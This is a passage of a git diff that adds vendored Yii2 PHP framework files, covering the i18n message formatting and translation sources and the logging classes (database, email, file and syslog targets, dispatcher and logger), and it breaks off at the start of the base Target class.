failure + */ + private static function tokenizePattern($pattern) + { + $depth = 1; + if (($start = $pos = mb_strpos($pattern, '{')) === false) { + return [$pattern]; + } + $tokens = [mb_substr($pattern, 0, $pos)]; + while (true) { + $open = mb_strpos($pattern, '{', $pos + 1); + $close = mb_strpos($pattern, '}', $pos + 1); + if ($open === false && $close === false) { + break; + } + if ($open === false) { + $open = mb_strlen($pattern); + } + if ($close > $open) { + $depth++; + $pos = $open; + } else { + $depth--; + $pos = $close; + } + if ($depth == 0) { + $tokens[] = explode(',', mb_substr($pattern, $start + 1, $pos - $start - 1), 3); + $start = $pos + 1; + $tokens[] = mb_substr($pattern, $start, $open - $start); + $start = $open; + } + } + if ($depth != 0) { + return false; + } + + return $tokens; + } + + /** + * Parses a token + * @param array $token the token to parse + * @param array $args arguments to replace + * @param string $locale the locale + * @return bool|string parsed token or false on failure + * @throws \yii\base\NotSupportedException when unsupported formatting is used. + */ + private function parseToken($token, $args, $locale) + { + // parsing pattern based on ICU grammar: + // http://icu-project.org/apiref/icu4c/classMessageFormat.html#details + + $param = trim($token[0]); + if (isset($args[$param])) { + $arg = $args[$param]; + } else { + return '{' . implode(',', $token) . '}'; + } + $type = isset($token[1]) ? trim($token[1]) : 'none'; + switch ($type) { + case 'date': + case 'time': + case 'spellout': + case 'ordinal': + case 'duration': + case 'choice': + case 'selectordinal': + throw new NotSupportedException("Message format '$type' is not supported. You have to install PHP intl extension to use this feature."); + case 'number': + if (is_int($arg) && (!isset($token[2]) || trim($token[2]) == 'integer')) { + return $arg; + } + throw new NotSupportedException("Message format 'number' is only supported for integer values. You have to install PHP intl extension to use this feature."); + case 'none': + return $arg; + case 'select': + /* http://icu-project.org/apiref/icu4c/classicu_1_1SelectFormat.html + selectStyle = (selector '{' message '}')+ + */ + if (!isset($token[2])) { + return false; + } + $select = self::tokenizePattern($token[2]); + $c = count($select); + $message = false; + for ($i = 0; $i + 1 < $c; $i++) { + if (is_array($select[$i]) || !is_array($select[$i + 1])) { + return false; + } + $selector = trim($select[$i++]); + if ($message === false && $selector == 'other' || $selector == $arg) { + $message = implode(',', $select[$i]); + } + } + if ($message !== false) { + return $this->fallbackFormat($message, $args, $locale); + } + break; + case 'plural': + /* http://icu-project.org/apiref/icu4c/classicu_1_1PluralFormat.html + pluralStyle = [offsetValue] (selector '{' message '}')+ + offsetValue = "offset:" number + selector = explicitValue | keyword + explicitValue = '=' number // adjacent, no white space in between + keyword = [^[[:Pattern_Syntax:][:Pattern_White_Space:]]]+ + message: see MessageFormat + */ + if (!isset($token[2])) { + return false; + } + $plural = self::tokenizePattern($token[2]); + $c = count($plural); + $message = false; + $offset = 0; + for ($i = 0; $i + 1 < $c; $i++) { + if (is_array($plural[$i]) || !is_array($plural[$i + 1])) { + return false; + } + $selector = trim($plural[$i++]); + + if ($i == 1 && strncmp($selector, 'offset:', 7) === 0) { + $offset = (int) trim(mb_substr($selector, 7, ($pos = mb_strpos(str_replace(["\n", "\r", "\t"], ' ', $selector), ' ', 7)) - 7)); + $selector = trim(mb_substr($selector, $pos + 1)); + } + if ($message === false && $selector == 'other' || + $selector[0] == '=' && (int) mb_substr($selector, 1) == $arg || + $selector == 'one' && $arg - $offset == 1 + ) { + $message = implode(',', str_replace('#', $arg - $offset, $plural[$i])); + } + } + if ($message !== false) { + return $this->fallbackFormat($message, $args, $locale); + } + break; + } + + return false; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/i18n/MessageSource.php b/php/yii2/basic/vendor/yiisoft/yii2/i18n/MessageSource.php new file mode 100644 index 00000000..34b5ce89 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/i18n/MessageSource.php @@ -0,0 +1,125 @@ + + * @since 2.0 + */ +class MessageSource extends Component +{ + /** + * @event MissingTranslationEvent an event that is triggered when a message translation is not found. + */ + const EVENT_MISSING_TRANSLATION = 'missingTranslation'; + + /** + * @var boolean whether to force message translation when the source and target languages are the same. + * Defaults to false, meaning translation is only performed when source and target languages are different. + */ + public $forceTranslation = false; + /** + * @var string the language that the original messages are in. If not set, it will use the value of + * [[\yii\base\Application::sourceLanguage]]. + */ + public $sourceLanguage; + + private $_messages = []; + + + /** + * Initializes this component. + */ + public function init() + { + parent::init(); + if ($this->sourceLanguage === null) { + $this->sourceLanguage = Yii::$app->sourceLanguage; + } + } + + /** + * Loads the message translation for the specified language and category. + * If translation for specific locale code such as `en-US` isn't found it + * tries more generic `en`. + * + * @param string $category the message category + * @param string $language the target language + * @return array the loaded messages. The keys are original messages, and the values + * are translated messages. + */ + protected function loadMessages($category, $language) + { + return []; + } + + /** + * Translates a message to the specified language. + * + * Note that unless [[forceTranslation]] is true, if the target language + * is the same as the [[sourceLanguage|source language]], the message + * will NOT be translated. + * + * If a translation is not found, a [[EVENT_MISSING_TRANSLATION|missingTranslation]] event will be triggered. + * + * @param string $category the message category + * @param string $message the message to be translated + * @param string $language the target language + * @return string|boolean the translated message or false if translation wasn't found or isn't required + */ + public function translate($category, $message, $language) + { + if ($this->forceTranslation || $language !== $this->sourceLanguage) { + return $this->translateMessage($category, $message, $language); + } else { + return false; + } + } + + /** + * Translates the specified message. + * If the message is not found, a [[EVENT_MISSING_TRANSLATION|missingTranslation]] event will be triggered. + * If there is an event handler, it may provide a [[MissingTranslationEvent::$translatedMessage|fallback translation]]. + * If no fallback translation is provided this method will return `false`. + * @param string $category the category that the message belongs to. + * @param string $message the message to be translated. + * @param string $language the target language. + * @return string|boolean the translated message or false if translation wasn't found. + */ + protected function translateMessage($category, $message, $language) + { + $key = $language . '/' . $category; + if (!isset($this->_messages[$key])) { + $this->_messages[$key] = $this->loadMessages($category, $language); + } + if (isset($this->_messages[$key][$message]) && $this->_messages[$key][$message] !== '') { + return $this->_messages[$key][$message]; + } elseif ($this->hasEventHandlers(self::EVENT_MISSING_TRANSLATION)) { + $event = new MissingTranslationEvent([ + 'category' => $category, + 'message' => $message, + 'language' => $language, + ]); + $this->trigger(self::EVENT_MISSING_TRANSLATION, $event); + if ($event->translatedMessage !== null) { + return $this->_messages[$key][$message] = $event->translatedMessage; + } + } + + return $this->_messages[$key][$message] = false; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/i18n/MissingTranslationEvent.php b/php/yii2/basic/vendor/yiisoft/yii2/i18n/MissingTranslationEvent.php new file mode 100644 index 00000000..cfed6093 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/i18n/MissingTranslationEvent.php @@ -0,0 +1,38 @@ + + * @since 2.0 + */ +class MissingTranslationEvent extends Event +{ + /** + * @var string the message to be translated. An event handler may use this to provide a fallback translation + * and set [[translatedMessage]] if possible. + */ + public $message; + /** + * @var string the translated message. An event handler may overwrite this property + * with a translated version of [[message]] if possible. If not set (null), it means the message is not translated. + */ + public $translatedMessage; + /** + * @var string the category that the message belongs to + */ + public $category; + /** + * @var string the language ID (e.g. en-US) that the message is to be translated to + */ + public $language; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/i18n/PhpMessageSource.php b/php/yii2/basic/vendor/yiisoft/yii2/i18n/PhpMessageSource.php new file mode 100644 index 00000000..0c60f452 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/i18n/PhpMessageSource.php @@ -0,0 +1,133 @@ + 'translated message 1', + * 'original message 2' => 'translated message 2', + * ]; + * ~~~ + * + * You may use [[fileMap]] to customize the association between category names and the file names. + * + * @author Qiang Xue + * @since 2.0 + */ +class PhpMessageSource extends MessageSource +{ + /** + * @var string the base path for all translated messages. Defaults to null, meaning + * the "messages" subdirectory of the application directory (e.g. "protected/messages"). + */ + public $basePath = '@app/messages'; + /** + * @var array mapping between message categories and the corresponding message file paths. + * The file paths are relative to [[basePath]]. For example, + * + * ~~~ + * [ + * 'core' => 'core.php', + * 'ext' => 'extensions.php', + * ] + * ~~~ + */ + public $fileMap; + + + /** + * Loads the message translation for the specified language and category. + * If translation for specific locale code such as `en-US` isn't found it + * tries more generic `en`. + * + * @param string $category the message category + * @param string $language the target language + * @return array the loaded messages. The keys are original messages, and the values + * are translated messages. + */ + protected function loadMessages($category, $language) + { + $messageFile = $this->getMessageFilePath($category, $language); + $messages = $this->loadMessagesFromFile($messageFile); + + $fallbackLanguage = substr($language, 0, 2); + if ($fallbackLanguage != $language) { + $fallbackMessageFile = $this->getMessageFilePath($category, $fallbackLanguage); + $fallbackMessages = $this->loadMessagesFromFile($fallbackMessageFile); + + if ($messages === null && $fallbackMessages === null && $fallbackLanguage != $this->sourceLanguage) { + Yii::error("The message file for category '$category' does not exist: $messageFile Fallback file does not exist as well: $fallbackMessageFile", __METHOD__); + } elseif (empty($messages)) { + return $fallbackMessages; + } elseif (!empty($fallbackMessages)) { + foreach ($fallbackMessages as $key => $value) { + if (!empty($value) && empty($messages[$key])) { + $messages[$key] = $fallbackMessages[$key]; + } + } + } + } else { + if ($messages === null) { + Yii::error("The message file for category '$category' does not exist: $messageFile", __METHOD__); + } + } + + return (array) $messages; + } + + /** + * Returns message file path for the specified language and category. + * + * @param string $category the message category + * @param string $language the target language + * @return string path to message file + */ + protected function getMessageFilePath($category, $language) + { + $messageFile = Yii::getAlias($this->basePath) . "/$language/"; + if (isset($this->fileMap[$category])) { + $messageFile .= $this->fileMap[$category]; + } else { + $messageFile .= str_replace('\\', '/', $category) . '.php'; + } + + return $messageFile; + } + + /** + * Loads the message translation for the specified language and category or returns null if file doesn't exist. + * + * @param $messageFile string path to message file + * @return array|null array of messages or null if file not found + */ + protected function loadMessagesFromFile($messageFile) + { + if (is_file($messageFile)) { + $messages = include($messageFile); + if (!is_array($messages)) { + $messages = []; + } + + return $messages; + } else { + return null; + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/log/DbTarget.php b/php/yii2/basic/vendor/yiisoft/yii2/log/DbTarget.php new file mode 100644 index 00000000..bdd77815 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/log/DbTarget.php @@ -0,0 +1,95 @@ + + * @since 2.0 + */ +class DbTarget extends Target +{ + /** + * @var Connection|string the DB connection object or the application component ID of the DB connection. + * After the DbTarget object is created, if you want to change this property, you should only assign it + * with a DB connection object. + */ + public $db = 'db'; + /** + * @var string name of the DB table to store cache content. + * The table should be pre-created as follows: + * + * ~~~ + * CREATE TABLE log ( + * id BIGINT NOT NULL AUTO_INCREMENT PRIMARY KEY, + * level INTEGER, + * category VARCHAR(255), + * log_time INTEGER, + * prefix TEXT, + * message TEXT, + * INDEX idx_log_level (level), + * INDEX idx_log_category (category) + * ) + * ~~~ + * + * Note that the 'id' column must be created as an auto-incremental column. + * The above SQL uses the MySQL syntax. If you are using other DBMS, you need + * to adjust it accordingly. For example, in PostgreSQL, it should be `id SERIAL PRIMARY KEY`. + * + * The indexes declared above are not required. They are mainly used to improve the performance + * of some queries about message levels and categories. Depending on your actual needs, you may + * want to create additional indexes (e.g. index on `log_time`). + */ + public $logTable = '{{%log}}'; + + + /** + * Initializes the DbTarget component. + * This method will initialize the [[db]] property to make sure it refers to a valid DB connection. + * @throws InvalidConfigException if [[db]] is invalid. + */ + public function init() + { + parent::init(); + $this->db = Instance::ensure($this->db, Connection::className()); + } + + /** + * Stores log messages to DB. + */ + public function export() + { + $tableName = $this->db->quoteTableName($this->logTable); + $sql = "INSERT INTO $tableName ([[level]], [[category]], [[log_time]], [[prefix]], [[message]]) + VALUES (:level, :category, :log_time, :prefix, :message)"; + $command = $this->db->createCommand($sql); + foreach ($this->messages as $message) { + list($text, $level, $category, $timestamp) = $message; + if (!is_string($text)) { + $text = VarDumper::export($text); + } + $command->bindValues([ + ':level' => $level, + ':category' => $category, + ':log_time' => $timestamp, + ':prefix' => $this->getMessagePrefix($message), + ':message' => $text, + ])->execute(); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/log/Dispatcher.php b/php/yii2/basic/vendor/yiisoft/yii2/log/Dispatcher.php new file mode 100644 index 00000000..81752532 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/log/Dispatcher.php @@ -0,0 +1,201 @@ +log`. + * + * You may configure the targets in application configuration, like the following: + * + * ```php + * [ + * 'components' => [ + * 'log' => [ + * 'targets' => [ + * 'file' => [ + * 'class' => 'yii\log\FileTarget', + * 'levels' => ['trace', 'info'], + * 'categories' => ['yii\*'], + * ], + * 'email' => [ + * 'class' => 'yii\log\EmailTarget', + * 'levels' => ['error', 'warning'], + * 'message' => [ + * 'to' => 'admin@example.com', + * ], + * ], + * ], + * ], + * ], + * ] + * ``` + * + * Each log target can have a name and can be referenced via the [[targets]] property as follows: + * + * ```php + * Yii::$app->log->targets['file']->enabled = false; + * ``` + * + * @property integer $flushInterval How many messages should be logged before they are sent to targets. This + * method returns the value of [[Logger::flushInterval]]. + * @property Logger $logger The logger. If not set, [[\Yii::getLogger()]] will be used. + * @property integer $traceLevel How many application call stacks should be logged together with each message. + * This method returns the value of [[Logger::traceLevel]]. Defaults to 0. + * + * @author Qiang Xue + * @since 2.0 + */ +class Dispatcher extends Component +{ + /** + * @var array|Target[] the log targets. Each array element represents a single [[Target|log target]] instance + * or the configuration for creating the log target instance. + */ + public $targets = []; + + /** + * @var Logger the logger. + */ + private $_logger; + + + /** + * @inheritdoc + */ + public function __construct($config = []) + { + // ensure logger gets set before any other config option + if (isset($config['logger'])) { + $this->setLogger($config['logger']); + unset($config['logger']); + } + // connect logger and dispatcher + $this->getLogger(); + + parent::__construct($config); + } + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + + foreach ($this->targets as $name => $target) { + if (!$target instanceof Target) { + $this->targets[$name] = Yii::createObject($target); + } + } + } + + /** + * Gets the connected logger. + * If not set, [[\Yii::getLogger()]] will be used. + * @property Logger the logger. If not set, [[\Yii::getLogger()]] will be used. + * @return Logger the logger. + */ + public function getLogger() + { + if ($this->_logger === null) { + $this->setLogger(Yii::getLogger()); + } + return $this->_logger; + } + + /** + * Sets the connected logger. + * @param Logger $value the logger. + */ + public function setLogger($value) + { + $this->_logger = $value; + $this->_logger->dispatcher = $this; + } + + /** + * @return integer how many application call stacks should be logged together with each message. + * This method returns the value of [[Logger::traceLevel]]. Defaults to 0. + */ + public function getTraceLevel() + { + return $this->getLogger()->traceLevel; + } + + /** + * @param integer $value how many application call stacks should be logged together with each message. + * This method will set the value of [[Logger::traceLevel]]. If the value is greater than 0, + * at most that number of call stacks will be logged. Note that only application call stacks are counted. + * Defaults to 0. + */ + public function setTraceLevel($value) + { + $this->getLogger()->traceLevel = $value; + } + + /** + * @return integer how many messages should be logged before they are sent to targets. + * This method returns the value of [[Logger::flushInterval]]. + */ + public function getFlushInterval() + { + return $this->getLogger()->flushInterval; + } + + /** + * @param integer $value how many messages should be logged before they are sent to targets. + * This method will set the value of [[Logger::flushInterval]]. + * Defaults to 1000, meaning the [[Logger::flush()]] method will be invoked once every 1000 messages logged. + * Set this property to be 0 if you don't want to flush messages until the application terminates. + * This property mainly affects how much memory will be taken by the logged messages. + * A smaller value means less memory, but will increase the execution time due to the overhead of [[Logger::flush()]]. + */ + public function setFlushInterval($value) + { + $this->getLogger()->flushInterval = $value; + } + + /** + * Dispatches the logged messages to [[targets]]. + * @param array $messages the logged messages + * @param boolean $final whether this method is called at the end of the current application + */ + public function dispatch($messages, $final) + { + $targetErrors = []; + foreach ($this->targets as $target) { + if ($target->enabled) { + try { + $target->collect($messages, $final); + } catch (\Exception $e) { + $target->enabled = false; + $targetErrors[] = [ + 'Unable to send log via ' . get_class($target) . ': ' . ErrorHandler::convertExceptionToString($e), + Logger::LEVEL_WARNING, + __METHOD__, + microtime(true), + [], + ]; + } + } + } + + if (!empty($targetErrors)) { + $this->dispatch($targetErrors, true); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/log/EmailTarget.php b/php/yii2/basic/vendor/yiisoft/yii2/log/EmailTarget.php new file mode 100644 index 00000000..d9e61f96 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/log/EmailTarget.php @@ -0,0 +1,100 @@ + [ + * 'log' => [ + * 'targets' => [ + * [ + * 'class' => 'yii\log\EmailTarget', + * 'mailer' =>'mailer', + * 'levels' => ['error', 'warning'], + * 'message' => [ + * 'from' => ['log@example.com'], + * 'to' => ['developer1@example.com', 'developer2@example.com'], + * 'subject' => 'Log message', + * ], + * ], + * ], + * ], + * ], + * ``` + * + * In the above `mailer` is ID of the component that sends email and should be already configured. + * + * @author Qiang Xue + * @since 2.0 + */ +class EmailTarget extends Target +{ + /** + * @var array the configuration array for creating a [[\yii\mail\MessageInterface|message]] object. + * Note that the "to" option must be set, which specifies the destination email address(es). + */ + public $message = []; + /** + * @var MailerInterface|string the mailer object or the application component ID of the mailer object. + * After the EmailTarget object is created, if you want to change this property, you should only assign it + * with a mailer object. + */ + public $mailer = 'mailer'; + + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + if (empty($this->message['to'])) { + throw new InvalidConfigException('The "to" option must be set for EmailTarget::message.'); + } + $this->mailer = Instance::ensure($this->mailer, 'yii\mail\MailerInterface'); + } + + /** + * Sends log messages to specified email addresses. + */ + public function export() + { + // moved initialization of subject here because of the following issue + // https://github.com/yiisoft/yii2/issues/1446 + if (empty($this->message['subject'])) { + $this->message['subject'] = 'Application Log'; + } + $messages = array_map([$this, 'formatMessage'], $this->messages); + $body = wordwrap(implode("\n", $messages), 70); + $this->composeMessage($body)->send($this->mailer); + } + + /** + * Composes a mail message with the given body content. + * @param string $body the body content + * @return \yii\mail\MessageInterface $message + */ + protected function composeMessage($body) + { + $message = $this->mailer->compose(); + Yii::configure($message, $this->message); + $message->setTextBody($body); + + return $message; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/log/FileTarget.php b/php/yii2/basic/vendor/yiisoft/yii2/log/FileTarget.php new file mode 100644 index 00000000..a9ab02d2 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/log/FileTarget.php @@ -0,0 +1,149 @@ + + * @since 2.0 + */ +class FileTarget extends Target +{ + /** + * @var string log file path or path alias. If not set, it will use the "@runtime/logs/app.log" file. + * The directory containing the log files will be automatically created if not existing. + */ + public $logFile; + /** + * @var integer maximum log file size, in kilo-bytes. Defaults to 10240, meaning 10MB. + */ + public $maxFileSize = 10240; // in KB + /** + * @var integer number of log files used for rotation. Defaults to 5. + */ + public $maxLogFiles = 5; + /** + * @var integer the permission to be set for newly created log files. + * This value will be used by PHP chmod() function. No umask will be applied. + * If not set, the permission will be determined by the current environment. + */ + public $fileMode; + /** + * @var integer the permission to be set for newly created directories. + * This value will be used by PHP chmod() function. No umask will be applied. + * Defaults to 0775, meaning the directory is read-writable by owner and group, + * but read-only for other users. + */ + public $dirMode = 0775; + /** + * @var boolean Whether to rotate log files by copy and truncate in contrast to rotation by + * renaming files. Defaults to `true` to be more compatible with log tailers and is windows + * systems which do not play well with rename on open files. Rotation by renaming however is + * a bit faster. + * + * The problem with windows systems where the [rename()](http://www.php.net/manual/en/function.rename.php) + * function does not work with files that are opened by some process is described in a + * [comment by Martin Pelletier](http://www.php.net/manual/en/function.rename.php#102274) in + * the PHP documentation. By setting rotateByCopy to `true` you can work + * around this problem. + */ + public $rotateByCopy = true; + + + /** + * Initializes the route. + * This method is invoked after the route is created by the route manager. + */ + public function init() + { + parent::init(); + if ($this->logFile === null) { + $this->logFile = Yii::$app->getRuntimePath() . '/logs/app.log'; + } else { + $this->logFile = Yii::getAlias($this->logFile); + } + $logPath = dirname($this->logFile); + if (!is_dir($logPath)) { + FileHelper::createDirectory($logPath, $this->dirMode, true); + } + if ($this->maxLogFiles < 1) { + $this->maxLogFiles = 1; + } + if ($this->maxFileSize < 1) { + $this->maxFileSize = 1; + } + } + + /** + * Writes log messages to a file. + * @throws InvalidConfigException if unable to open the log file for writing + */ + public function export() + { + $text = implode("\n", array_map([$this, 'formatMessage'], $this->messages)) . "\n"; + if (($fp = @fopen($this->logFile, 'a')) === false) { + throw new InvalidConfigException("Unable to append to log file: {$this->logFile}"); + } + @flock($fp, LOCK_EX); + // clear stat cache to ensure getting the real current file size and not a cached one + // this may result in rotating twice when cached file size is used on subsequent calls + clearstatcache(); + if (@filesize($this->logFile) > $this->maxFileSize * 1024) { + $this->rotateFiles(); + @flock($fp, LOCK_UN); + @fclose($fp); + @file_put_contents($this->logFile, $text, FILE_APPEND | LOCK_EX); + } else { + @fwrite($fp, $text); + @flock($fp, LOCK_UN); + @fclose($fp); + } + if ($this->fileMode !== null) { + @chmod($this->logFile, $this->fileMode); + } + } + + /** + * Rotates log files. + */ + protected function rotateFiles() + { + $file = $this->logFile; + for ($i = $this->maxLogFiles; $i >= 0; --$i) { + // $i == 0 is the original log file + $rotateFile = $file . ($i === 0 ? '' : '.' . $i); + if (is_file($rotateFile)) { + // suppress errors because it's possible multiple processes enter into this section + if ($i === $this->maxLogFiles) { + @unlink($rotateFile); + } else { + if ($this->rotateByCopy) { + @copy($rotateFile, $file . '.' . ($i + 1)); + if ($fp = @fopen($rotateFile, 'a')) { + @ftruncate($fp, 0); + @fclose($fp); + } + } else { + @rename($rotateFile, $file . '.' . ($i + 1)); + } + } + } + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/log/Logger.php b/php/yii2/basic/vendor/yiisoft/yii2/log/Logger.php new file mode 100644 index 00000000..702ece9b --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/log/Logger.php @@ -0,0 +1,308 @@ + + * @since 2.0 + */ +class Logger extends Component +{ + /** + * Error message level. An error message is one that indicates the abnormal termination of the + * application and may require developer's handling. + */ + const LEVEL_ERROR = 0x01; + /** + * Warning message level. A warning message is one that indicates some abnormal happens but + * the application is able to continue to run. Developers should pay attention to this message. + */ + const LEVEL_WARNING = 0x02; + /** + * Informational message level. An informational message is one that includes certain information + * for developers to review. + */ + const LEVEL_INFO = 0x04; + /** + * Tracing message level. An tracing message is one that reveals the code execution flow. + */ + const LEVEL_TRACE = 0x08; + /** + * Profiling message level. This indicates the message is for profiling purpose. + */ + const LEVEL_PROFILE = 0x40; + /** + * Profiling message level. This indicates the message is for profiling purpose. It marks the + * beginning of a profiling block. + */ + const LEVEL_PROFILE_BEGIN = 0x50; + /** + * Profiling message level. This indicates the message is for profiling purpose. It marks the + * end of a profiling block. + */ + const LEVEL_PROFILE_END = 0x60; + + /** + * @var array logged messages. This property is managed by [[log()]] and [[flush()]]. + * Each log message is of the following structure: + * + * ~~~ + * [ + * [0] => message (mixed, can be a string or some complex data, such as an exception object) + * [1] => level (integer) + * [2] => category (string) + * [3] => timestamp (float, obtained by microtime(true)) + * [4] => traces (array, debug backtrace, contains the application code call stacks) + * ] + * ~~~ + */ + public $messages = []; + /** + * @var integer how many messages should be logged before they are flushed from memory and sent to targets. + * Defaults to 1000, meaning the [[flush]] method will be invoked once every 1000 messages logged. + * Set this property to be 0 if you don't want to flush messages until the application terminates. + * This property mainly affects how much memory will be taken by the logged messages. + * A smaller value means less memory, but will increase the execution time due to the overhead of [[flush()]]. + */ + public $flushInterval = 1000; + /** + * @var integer how much call stack information (file name and line number) should be logged for each message. + * If it is greater than 0, at most that number of call stacks will be logged. Note that only application + * call stacks are counted. + */ + public $traceLevel = 0; + /** + * @var Dispatcher the message dispatcher + */ + public $dispatcher; + + + /** + * Initializes the logger by registering [[flush()]] as a shutdown function. + */ + public function init() + { + parent::init(); + register_shutdown_function(function () { + // make sure "flush()" is called last when there are multiple shutdown functions + register_shutdown_function([$this, 'flush'], true); + }); + } + + /** + * Logs a message with the given type and category. + * If [[traceLevel]] is greater than 0, additional call stack information about + * the application code will be logged as well. + * @param string|array $message the message to be logged. This can be a simple string or a more + * complex data structure that will be handled by a [[Target|log target]]. + * @param integer $level the level of the message. This must be one of the following: + * `Logger::LEVEL_ERROR`, `Logger::LEVEL_WARNING`, `Logger::LEVEL_INFO`, `Logger::LEVEL_TRACE`, + * `Logger::LEVEL_PROFILE_BEGIN`, `Logger::LEVEL_PROFILE_END`. + * @param string $category the category of the message. + */ + public function log($message, $level, $category = 'application') + { + $time = microtime(true); + $traces = []; + if ($this->traceLevel > 0) { + $count = 0; + $ts = debug_backtrace(); + array_pop($ts); // remove the last trace since it would be the entry script, not very useful + foreach ($ts as $trace) { + if (isset($trace['file'], $trace['line']) && strpos($trace['file'], YII2_PATH) !== 0) { + unset($trace['object'], $trace['args']); + $traces[] = $trace; + if (++$count >= $this->traceLevel) { + break; + } + } + } + } + $this->messages[] = [$message, $level, $category, $time, $traces]; + if ($this->flushInterval > 0 && count($this->messages) >= $this->flushInterval) { + $this->flush(); + } + } + + /** + * Flushes log messages from memory to targets. + * @param boolean $final whether this is a final call during a request. + */ + public function flush($final = false) + { + if ($this->dispatcher instanceof Dispatcher) { + $this->dispatcher->dispatch($this->messages, $final); + } + $this->messages = []; + } + + /** + * Returns the total elapsed time since the start of the current request. + * This method calculates the difference between now and the timestamp + * defined by constant `YII_BEGIN_TIME` which is evaluated at the beginning + * of [[\yii\BaseYii]] class file. + * @return float the total elapsed time in seconds for current request. + */ + public function getElapsedTime() + { + return microtime(true) - YII_BEGIN_TIME; + } + + /** + * Returns the profiling results. + * + * By default, all profiling results will be returned. You may provide + * `$categories` and `$excludeCategories` as parameters to retrieve the + * results that you are interested in. + * + * @param array $categories list of categories that you are interested in. + * You can use an asterisk at the end of a category to do a prefix match. + * For example, 'yii\db\*' will match categories starting with 'yii\db\', + * such as 'yii\db\Connection'. + * @param array $excludeCategories list of categories that you want to exclude + * @return array the profiling results. Each element is an array consisting of these elements: + * `info`, `category`, `timestamp`, `trace`, `level`, `duration`. + */ + public function getProfiling($categories = [], $excludeCategories = []) + { + $timings = $this->calculateTimings($this->messages); + if (empty($categories) && empty($excludeCategories)) { + return $timings; + } + + foreach ($timings as $i => $timing) { + $matched = empty($categories); + foreach ($categories as $category) { + $prefix = rtrim($category, '*'); + if (strpos($timing['category'], $prefix) === 0 && ($timing['category'] === $category || $prefix !== $category)) { + $matched = true; + break; + } + } + + if ($matched) { + foreach ($excludeCategories as $category) { + $prefix = rtrim($category, '*'); + foreach ($timings as $i => $timing) { + if (strpos($timing['category'], $prefix) === 0 && ($timing['category'] === $category || $prefix !== $category)) { + $matched = false; + break; + } + } + } + } + + if (!$matched) { + unset($timings[$i]); + } + } + + return array_values($timings); + } + + /** + * Returns the statistical results of DB queries. + * The results returned include the number of SQL statements executed and + * the total time spent. + * @return array the first element indicates the number of SQL statements executed, + * and the second element the total time spent in SQL execution. + */ + public function getDbProfiling() + { + $timings = $this->getProfiling(['yii\db\Command::query', 'yii\db\Command::execute']); + $count = count($timings); + $time = 0; + foreach ($timings as $timing) { + $time += $timing['duration']; + } + + return [$count, $time]; + } + + /** + * Calculates the elapsed time for the given log messages. + * @param array $messages the log messages obtained from profiling + * @return array timings. Each element is an array consisting of these elements: + * `info`, `category`, `timestamp`, `trace`, `level`, `duration`. + */ + public function calculateTimings($messages) + { + $timings = []; + $stack = []; + + foreach ($messages as $i => $log) { + list($token, $level, $category, $timestamp, $traces) = $log; + $log[5] = $i; + if ($level == Logger::LEVEL_PROFILE_BEGIN) { + $stack[] = $log; + } elseif ($level == Logger::LEVEL_PROFILE_END) { + if (($last = array_pop($stack)) !== null && $last[0] === $token) { + $timings[$last[5]] = [ + 'info' => $last[0], + 'category' => $last[2], + 'timestamp' => $last[3], + 'trace' => $last[4], + 'level' => count($stack), + 'duration' => $timestamp - $last[3], + ]; + } + } + } + + ksort($timings); + + return array_values($timings); + } + + + /** + * Returns the text display of the specified level. + * @param integer $level the message level, e.g. [[LEVEL_ERROR]], [[LEVEL_WARNING]]. + * @return string the text display of the level + */ + public static function getLevelName($level) + { + static $levels = [ + self::LEVEL_ERROR => 'error', + self::LEVEL_WARNING => 'warning', + self::LEVEL_INFO => 'info', + self::LEVEL_TRACE => 'trace', + self::LEVEL_PROFILE_BEGIN => 'profile begin', + self::LEVEL_PROFILE_END => 'profile end', + ]; + + return isset($levels[$level]) ? $levels[$level] : 'unknown'; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/log/SyslogTarget.php b/php/yii2/basic/vendor/yiisoft/yii2/log/SyslogTarget.php new file mode 100644 index 00000000..9704e0b0 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/log/SyslogTarget.php @@ -0,0 +1,69 @@ + + * @since 2.0 + */ +class SyslogTarget extends Target +{ + /** + * @var string syslog identity + */ + public $identity; + /** + * @var integer syslog facility. + */ + public $facility = LOG_USER; + + /** + * @var array syslog levels + */ + private $_syslogLevels = [ + Logger::LEVEL_TRACE => LOG_DEBUG, + Logger::LEVEL_PROFILE_BEGIN => LOG_DEBUG, + Logger::LEVEL_PROFILE_END => LOG_DEBUG, + Logger::LEVEL_INFO => LOG_INFO, + Logger::LEVEL_WARNING => LOG_WARNING, + Logger::LEVEL_ERROR => LOG_ERR, + ]; + + + /** + * Writes log messages to syslog + */ + public function export() + { + openlog($this->identity, LOG_ODELAY | LOG_PID, $this->facility); + foreach ($this->messages as $message) { + syslog($this->_syslogLevels[$message[1]], $this->formatMessage($message)); + } + closelog(); + } + + /** + * @inheritdoc + */ + public function formatMessage($message) + { + list($text, $level, $category, $timestamp) = $message; + $level = Logger::getLevelName($level); + if (!is_string($text)) { + $text = VarDumper::export($text); + } + + $prefix = $this->getMessagePrefix($message); + return "{$prefix}[$level][$category] $text"; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/log/Target.php b/php/yii2/basic/vendor/yiisoft/yii2/log/Target.php new file mode 100644 index 00000000..94a447ee --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/log/Target.php @@ -0,0 +1,282 @@ + + * @since 2.0 + */ +abstract class Target extends Component +{ + /** + * @var boolean whether to enable this log target. Defaults to true. + */ + 